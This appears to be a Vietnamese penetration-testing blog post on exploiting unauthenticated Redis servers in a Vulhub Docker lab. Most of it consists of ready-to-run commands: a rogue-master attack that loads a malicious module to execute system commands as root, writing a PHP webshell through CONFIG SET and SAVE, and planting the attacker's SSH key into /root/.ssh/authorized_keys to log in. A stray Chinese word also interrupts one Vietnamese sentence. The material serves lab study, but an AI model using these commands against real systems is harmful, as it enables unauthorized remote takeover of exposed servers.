Khai Thác Lỗ Hổng Truy Cập Không Xác Thực Trên Dịch Vụ Redis

Tổng Quan Môi Trường Kiểm Thử

Trong kịch bản này, chúng ta sẽ xem xét cách khai thác lỗi bảo mật cho phép truy cập không được ủy quyền vào dịch vụ Redis. Các thông số mạng và cấu hình cụ thể như sau:

  • Máy tấn công (Attacker): Hệ điều hành Kali Linux, địa chỉ IP giả định là 192.168.50.101.
  • Máy mục tiêu (Target): Chạy dịch vụ Redis phiên bản dưới 6.x, địa chỉ IP là 192.168.50.100.
  • Điều kiện tiên quyết:
    1. Dịch vụ Redis đang lắng nghe trên tất cả các interface (0.0.0.0:6379) và không có quy tắc tường lửa nào hạn chế truy cập từ bên ngoài.
    2. Dịch vụ không yêu cầu xác thực (mật khẩu để trống) hoặc sử dụng mật khẩu yếu.

Quy Trình Khai Thác Lỗ Hổng

1. Khởi Tạo Môi Trường

Sử dụng Docker để triển khai môi trường chứa lỗ hổng. Thực thi lệnh sau để khởi chạy container:

docker-compose up -d

Sau khi khởi động, xác nhận dịch vụ Redis đang hoạt động trên cổng mặc định 6379.

2. Kiểm Tra Kết Nối Không Xác Thực

Sử dụng công cụ dòng lệnh redis-cli để thử kết nối trực tiếp tới máy mục tiêu mà không cần cung cấp thông tin đăng nhập:

redis-cli -h 192.168.50.100

Lưu ý: Cú pháp đầy đủ là redis-cli -h [IP] -p [Cổng] -a [MậtKhẩu]. Nếu sử dụng cổng mặc định 6379, tham số -p có thể được bỏ qua.

Thực hiện lệnh ping trong giao diện redis-cli. Nếu phản hồi là PONG, điều này xác nhận kết nối thành công và lỗ hổng tồn tại.

3. Chiếm Quyền Điều Khiển Hệ Thống (Get Shell)

Có hai phương pháp chính để thực thi lệnh từ xa trên máy mục tiêu thông qua lỗ hổng này:

  • Sử dụng công cụ tự động hóa redis-rogue-getshell.
  • Thực hiện ghi khóa công khai SSH (SSH Public Key) vào máy mục tiêu.

Trong một số môi trường giả lập (như Vulhub), việc ghi file vào thư mục /root/.ssh có thể gặp vấn đề về phân quyền. Do đó, phương pháp sử dụng module mở rộng thường hiệu quả hơn. Tuy nhiên, cả hai kỹ thuật đều sẽ được trình bày dưới đây.

Phương Pháp 1: Sử Dụng Redis Rogue Master

Cơ chế hoạt động:
Các phiên bản Redis trước 5.0.5 hỗ trợ cơ chế sao chép chủ-từ (Master-Slave). Kẻ tấn công có thể thiết lập một máy chủ Redis giả mạo (Rogue Master) và buộc máy nạn nhân kết nối như một nút Slave. Quá trình đồng bộ hóa dữ liệu sẽ được lợi dụng để tải và thực thi các module độc hại.

Các bước thực hiện:

  1. Thiết lập quan hệ Master-Slave: Máy tấn công chạy script giả mạo làm Master, lắng nghe trên một cổng cụ thể (ví dụ: 9999). Máy nạn nhân được cấu hình để đồng bộ dữ liệu từ máy tấn công.
  2. Tải Module Độc Hại: Thông qua lệnh MODULE LOAD, file thư viện chia sẻ (.so) chứa mã độc sẽ được nạp vào bộ nhớ của Redis mục tiêu.
  3. Thực Thi Lệnh: Module đã nạp cung cấp hàm cho phép thực thi lệnh hệ thống, ví dụ như system.exec.

Triển khai công cụ và thực thi khai thác:

git clone https://github.com/vulhub/redis-rogue-getshell.git
cd redis-rogue-getshell/RedisModulesSDK
make
cd ..
./redis-master.py -r 192.168.50.100 -p 6379 -L 192.168.50.101 -P 9999 -f RedisModulesSDK/exp/exp.so -c "whoami"

Giải thích tham số:
-r: IP của máy nạn nhân.
-p: Cổng dịch vụ Redis trên máy nạn nhân.
-L: IP máy tấn công (đóng vai trò Master giả mạo).
-P: Cổng lắng nghe trên máy tấn công.
-f: Đường dẫn file module độc hại.
-c: Lệnh hệ thống cần thực thi.

Nếu thành công, đầu ra sẽ hiển thị kết quả của lệnh whoami, thường là root.

Phương Pháp 2: Ghi Khóa SSH Và Webshell

Dưới đây là các lệnh thao tác cơ bản thường dùng khi làm việc với Redis qua CLI:

Lệnh Chức Năng
keys * Liệt kê tất cả các key trong database hiện tại
info Xem thông tin cấu hình và trạng thái Redis
config set dir [đường_dẫn] Thay đổi thư mục làm việc mặc định
config set dbfilename [tên_file] Thay đổi tên file dùng để lưu snapshot
set [key] [giá_trị] Gán giá trị cho một key
save Thực hiện sao lưu dữ liệu ngay lập tức
flushall Xóa toàn bộ dữ liệu (Cần thận trọng)

Kiểm tra ghi file Webshell:
即使 không có dịch vụ web chạy, chúng ta vẫn có thể kiểm tra khả năng ghi file vào hệ thống file của máy nạn nhân.

config set dir /tmp
config set dbfilename backdoor.php
set payload "\r\n\r\n<?php phpinfo(); ?>\r\n\r\n"
save

Lưu ý: Ký tự \r\n được thêm vào để đảm bảo nội dung file không bị ghi đè bởi thông tin header mặc định của Redis, giúp file PHP có thể thực thi được.

Kỹ thuật ghi khóa SSH:
Mục tiêu là ghi khóa công khai của máy tấn công vào file authorized_keys trên máy nạn nhân để đăng nhập không cần mật khẩu.

Bước 1: Tạo cặp khóa SSH trên máy tấn công:

ssh-keygen -t rsa

Bước 2: Chuẩn bị nội dung khóa công khai. File khóa thường nằm tại /root/.ssh/id_rsa.pub.

cd /root/.ssh
(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > pub_key.txt

Bước 3: Đẩy khóa công khai lên Redis và cấu hình đường dẫn lưu:

cat pub_key.txt | redis-cli -h 192.168.50.100 -x set ssh_auth
config set dir /root/.ssh
config set dbfilename authorized_keys
save

Lưu ý: Trong một số môi trường container, bước config set dir /root/.ssh có thể thất bại do thiếu quyền truy cập ghi vào thư mục gốc. Nếu thành công, file authorized_keys sẽ được tạo ra.

Bước 4: Kết nối SSH tới máy mục tiêu sử dụng khóa riêng tư:

ssh -i /root/.ssh/id_rsa root@192.168.50.100

Thẻ: Redis Security vulnerability penetration-testing docker

Đăng vào ngày 26 tháng 6 lúc 04:10